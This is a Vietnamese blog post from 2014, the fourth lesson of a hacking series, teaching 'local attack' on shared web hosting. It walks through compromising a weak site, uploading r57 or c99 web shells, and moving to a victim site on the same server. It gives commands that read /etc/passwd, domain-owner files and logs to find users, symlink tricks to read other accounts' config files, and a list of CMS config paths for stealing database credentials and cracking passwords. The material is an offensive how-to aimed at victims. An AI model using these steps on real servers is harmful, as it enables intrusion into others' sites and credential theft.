Wednesday, June 18, 2014

Bài 4: TẤN CÔNG GIÁN TiẾP - LOCAL ATTACK


Picture1.jpg
+ Local Attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong.
+ Bằng cách tấn công vào một website có bảo mật kém chung server với website mục tiêu, sau đó sử dụng các công cụ và kỹ thuật khác nhau tấn công sang mục tiêu trong nội bộ .

1. CÁC BƯỚC LOCAL ATTACK

+ Xác định các website chung sever với mục tiêu (Victim)

+ Kiểm tra toàn sever ,xác định site bảo mật kém và khai thác bằng các hình thức tấn công trực tiếp .

+ Up Shell lên website đã khai thác lỗi bảo mật

+ Kiểm tra điều kiện sever và quyền thực thi , sử dụng bypasss nếu bị hạn chế quyền

+ Tiến hành local sang mục tiêu


2. PHƯƠNG PHÁP LOCAL ATTACK
+ Xác định danh sách User trên toàn server để tìm user mục tiêu

+ Xác định path của mục tiêu

+ Xác định file config của mục tiêu

+ Local sang mục tiêu và lấy thông tin từ file config của mục tiêu

+ Crack + Brute hoặc change pass để login vào mụct iêu .

+ Up shell lên mục tiêu

3. 1 số shell thường dùng trong local
r57, c99, shell cgi....
- shell r57 chỉ run được lệnh khi safemod=off, và chức năng php eval của nó run được khi không bị dis fun :D
- shell cgi có thể run lệnh ngay cả khi safemod=on
- c99 dễ dùng nhưng ít chức năng
- và còn nhiều loại khác nhưng chủ yếu vẫn là xào nấu lại từ c99 và r57
a. c99 shell
c99-1.pngc99-2.png 

b. r57 shell

r57-1.pngr57-2.pngr57-3.png 


4. Các câu lệnh cơ bản trong local attack

a. Xác định danh sách user

Mã:
cat /etc/passwd
less /etc/passwd
more /etc/passwd
tail /etc/passwd
xxd /etc/passwd
rev /etc/passwd
tac /etc/passwd

* Lệnh kết hợp đặc biệt :

Mã:
cat /etc/passwd |grep "/home" |cut -d: -f1

- Với Directadmin ta có lệnh sau :

Mã:
cat /etc/virtual/domainowners


- Với cpanel ta có lệnh sau:

Mã:
ls -la /etc/valiases/tendomainvictim.com


Còn rất nhiều cách để tìm user của victim như xem error log ...

Mã:
tail -n 10000 /var/log/httpd/domains/domain.com.error.log


Mã:
cat /usr/local/apache/logs/error_log | grep "domain.com" >>"user.txt"


* Đối với nginx
Mã:
cat /var/log/nginx/error_log
Hoặc
Mã:
cat /var/log/nginx/domain.com.error.log
b. TÌM PATH MỤC TIÊU & FILE CONFIG

Mã:
Cpanel : /home/user/public_html/
Direct Admin : /home/user/domains/tenmien.com/public_html/
Koloxo : /home/user/tenmien.com/public_html/
Plesk : /var/www/user/httdocs/
* Kết hợp đặc biệt :
Đôi khi trong 1 số trường hợp ta phải kết hợp với tấn công trực tiếp để lấy path mục tiêu một cách nhanh và tiện nhất .
Với các mã nguồn mở có thể sử dụng các exploit và bug để xác định path của mục tiêu

c. LOCAL – GET THÔNG TIN FILE CONFIG
ls , dir : Liệt kê tên các file bên trong thư mục

ls -al, ls -lia, dir -ao: Liệt kê tên và thuộc tính các file bên trong thư mục

vi, cat, less, more, tail : View nôi dung bên trong các file

ln : Lệnh symbolic link (Giống như thực hiện tạo shortcut trong windows)

cd: Chuyển đổi thư mục

chmod: Phân quyền cho các file hoặc thư mục (Cấu trúc lệnh : chmod 000 file/thumuc)

mkdir: tạo thư mục tại vịt rí hiện tại

touch : Tạo file

zip -9 –r file.zip /path/ : lệnh nén dạng zip với tùy chọn cao nhất và hỗ trợ repair

unzip file.zip : lệnh giải nén định dạng zip

tar –cvf file.tar.gz /path/ : lệnh nén dạng tar (Nhẹ và nhanh hơn dạng Zip)

tar –xvf file.tar.gz : lệnh giải nén dạng tar

Symlink và view file config của mục tiêu :

Sử dụng lệnh cat để view file config hoặc nếu không được sử dụng lệnh symlink

Cú pháp lệnh :

Mã:
Cat /path/config.php


- symlink

Mã:
Ln –s /path/config.php config.txt


Dùng lệnh này thì nó sẽ tạo 1 file config.txt ngang hàng với con shell và có nội dụng của file config, ta chỉ việc đọc file config.txt để biết nội dung file config (Tuy nhiên hiện nay đa số server đề không thể đọc theo cách bình thường :D )

- Sử dụng chức năng conect database trong r57 , c99 hoặc các shell chức năng đểt hực hiện việc kết nối với cơ sở dữ liệu, thay thông tin bên trong đó .

- Tùy trường hợp ta có thể sử dụng các chức năng hoặc công cụ khác nhau để thực hiện tấn công

* Đường dẫn file config của một số mã nguồn (Nếu thèng ad nó chưa đổi :D )

Mã:
Vbulletin: public_html/includes/config.php
PHPBB: public_html/config.php
Joomla: public_html/configuration.php
WordPress: public_html/wp-config.php
ibp: public_html/conf_global.php
php-fusion: public_html/config.php
Smf: public_html/Settings.php
phpnuke: public_html/html/config.php
Xoops: public_html/mainfile.php
ZenCart: public_html/includes/configure.php
setidio: public_html/datas/config.php
Discuz: public_html/config/config_ucenter.php
Bo-Blog: public_html/data/config.php
Nukeviet: public_html/config.php

5. Một số chú ý:

- Đối với directadmin link vào phpmyadmin sẽ là: http://domain/phpmyadmin
- Trường hợp ko có phpmyadmin ta có thể dùng chức năng connect database của con shell hoặc đơn giản hơn là up luôn 1 cái phpmyadmin lên victim rồi truy cập và như bình thường :)) . Trường hợp xấu hơn là 2 cách trên không được thì up tool backup data lên backup lại rồi tải về restore trên local để lấy pass mà crack :))
- Các câu lệnh sử dụng ở trên là lệnh linux và được gọi ra từ thư mục /bin trường hợp không dùng được lệnh thì là do server đã chặn hoặc làm gì đó rồi nên không run được lệnh => ta có thể tìm cách để thay thế cái thư mục bin đó (cái này gọi là phương pháp thay thế sẽ đươc giới thiệu ở các bài sau)

VIDEO LOCAL CƠ BẢN VỚI LỆNH DIR, CAT



Hết bài 4. Trên đây chỉ là phương pháp local dạng cơ bản, tuy nhiên hiện nay rất ít sever có thể local được theo dạng cơ bản. Ở các bài tiếp theo mình sẽ public các phương pháp local nâng cao hơn.

Tobe continue........

No comments:

Post a Comment